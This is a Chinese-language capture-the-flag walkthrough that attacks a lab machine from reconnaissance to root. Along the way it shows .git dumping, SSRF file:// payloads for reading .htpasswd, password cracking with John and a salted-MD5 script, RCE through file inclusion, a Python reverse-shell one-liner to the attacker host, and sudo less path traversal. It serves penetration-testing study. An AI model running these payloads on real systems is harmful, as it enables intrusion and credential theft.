从信息收集到权限提升的完整攻击链解析。完整攻击链:信息收集 → .git泄露 → 源码审计 → MD5爆破Token → 注册登录→ SSRF读取.htpasswd → 破解Basic Auth → 文件包含+RCE→ 数据库查询 → 密码破解 → 用户切换(flag2) → sudo提权(flag3)

靶机 IP: 172.16.11.153 | 攻击机: 172.16.11.146 (Kali Linux)

难度等级:

一 信息收集

这里些微偷懒,我直接看的靶机 MAC 地址(BC:24:11:5E:C4:62),在 Nmap 主机发现结果中定位到目标 IP。

nmap -sn 172.16.11.0/24

关键发现: 目标主机 IP 为 172.16.11.153,主机名 final-test-a.lan。

使用 Nmap 对目标进行全端口扫描:

nmap -sT -sV -p- 172.16.11.153

扫描结果分析:

访问 Web 服务,发现是内部运维管理平台的登录页面,包含登录和注册功能。我首先怀疑能否二阶注入,经测试并不能。

使用 dirsearch 进行目录扫描,发现大量敏感信息:dirsearch -u http://172.16.11.153 -e php,txt,bak,swp,old,phps,json

关键发现:


二 Git 信息泄露与源码审计

发现.git目录可访问后,使用git-dumper工具将整个仓库拉取到本地:


git-dumper http://172.16.11.153/.git/ /tmp/git-dump

成功恢复了 8 个文件,包含完整的应用程序源代码。

这里直接把api的源码也拿到了

先看获取到数据库凭据 root:R#xK9mWz$2pLnQ7v,后续横向移动可用。

获取到 APP_KEY,可能用于加密配置文件的解密。

APP_KEY=base64:Tz8VwXqL5mN3jR7kBfD2hY9pCsA6eW1gUoI4nMxZaKc=
DB_PASSWORD=R#xK9mWz$2pLnQ7v

源码揭示了一个非标准的密码验证机制:

$input_hash = md5($password . $user['password_changed_at']);
if ($input_hash === $user['password']) {
    // 登录成功
}

密码存储方式为 md5(明文密码 + 时间戳),这为后续破解数据库中的密码哈希提供了关键线索。

紧接着就是整个渗透测试最关键的发现。admin_panel 文件(注意:无 .php 扩展名)包含直接的命令执行功能:

$auth_hash = '9f9d51bc70ef21ca5c14f307980a29d8';

if (md5($input_token) === $auth_hash) {
    $authenticated = true;
    if (isset($_GET['exec'])) {
        $output = shell_exec($_GET['exec']);
    }
}

攻击条件:

  1. 需要提供一个 3 位字符的 token,其 MD5 值等于 9f9d51bc70ef21ca5c14f307980a29d8
  2. 由于文件无 .php 扩展名,Apache 不会将其当作 PHP 执行,需要通过 loader.php 的文件包含功能来触发
  3. loader.php 受 HTTP Basic Auth 保护,需要获取认证凭据

URL 检测工具使用 curl 发起请求,支持 file:// 协议,存在 SSRF 漏洞:

该功能支持 file:// 协议读取本地文件,且从服务器内部发起请求时可能绕过 Basic Auth。

$filepath = $allowed_dir . '/' . $module;
if (file_exists($filepath)) {
    include($filepath);
}

loader.php 将用户指定的模块文件通过 include() 加载执行,可以让无扩展名的 admin_panel 被当作 PHP 代码执行。


三 漏洞利用 — 获取 Flag1

通过源码审计,形成了清晰的攻击链:Token 爆破 → 注册登录 → SSRF 读取 .htpasswd

Token 只有 3 位字符,爆破空间极小。使用工具就能简单破解

由于 url_check.php 需要 PHP Session 登录才能使用,先注册一个账号:

在登录页面点击"注册新账户",注册 jhin账号,然后登录进入控制台。

登录后进入"URL 可用性检测"功能,利用 file:// 协议读取 Apache 的 .htaccess 配置:

输入:file:///var/www/html/api/.htaccess

发现密码文件路径为 /var/www/html/api/.htpasswd。

继续使用 SSRF 读取密码文件:

输入:file:///var/www/html/api/.htpasswd

获取到 Basic Auth 的用户名 zhangwei 和 APR1 格式的密码哈希。

使用 John the Ripper 配合rockyou进行破解:john /tmp/htpasswd_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

破解结果 trustno1

现在拥有了所有需要的凭据,构造完整的攻击请求:

成功获得 RCE!也可以在浏览器中直接访问,输入 Basic Auth 凭据后即可在页面上执行命令。

cat /var/www/flag1.txt


四 获取 Flag2

为了更方便地操作,先建立反弹 Shell:

http://172.16.11.153/api/loader.php?module=admin_panel&token=bob&exec=python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("172.16.11.146",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

成功获得交互式 Shell。

利用之前获取的数据库凭据查询用户表:mysql -u root -p'R#xK9mWz$2pLnQ7v' abyss_platform -e "SELECT * FROM users;"

查询结果:

回顾 index.php 中的密码验证逻辑:$input_hash = md5($password . $user['password_changed_at']);

密码哈希 = md5(明文密码 + password_changed_at 时间戳)

因此,破解 admin 密码需要编写定制脚本:

import hashlib

target = 'd450a27a0caf3b9dcc7f03e4c492f7ac'
ts = '1742900000'

with open('/usr/share/wordlists/rockyou.txt', 'r', errors='ignore') as f:
    for line in f:
        pwd = line.strip()
        if hashlib.md5((pwd + ts).encode()).hexdigest() == target:
            print(f' {pwd}')
            break

破解出 admin 密码后,利用密码重用的常见安全问题,尝试 su 切换到系统用户获取

cat ~/flag2.txt


五 权限提升 — 获取 Flag3

检查 sudo 权限

sudo -l

发现:

用户 liwei 可以以 root 权限运行 less 查看 /var/log/abyss/ 目录下的文件,且不需要密码。

通配符路径穿越

sudo 规则中的通配符 * 可以匹配任意字符,包括 ../,这可以通过路径穿越读取系统任意文件:

sudo /usr/bin/less /var/log/abyss/../../../flag3.txt

路径解析过程其实是:

/var/log/abyss/../../../flag3.txt
= /var/log/../../flag3.txt
= /var/../flag3.txt
= /flag3.txt

获取 Flag3

至此三个flag全部收集


本文仅用于授权渗透测试学习,请遵守相关法律法规,未经授权不得对任何系统进行渗透测试。

此作者没有提供个人介绍。
最后更新于 2026-03-30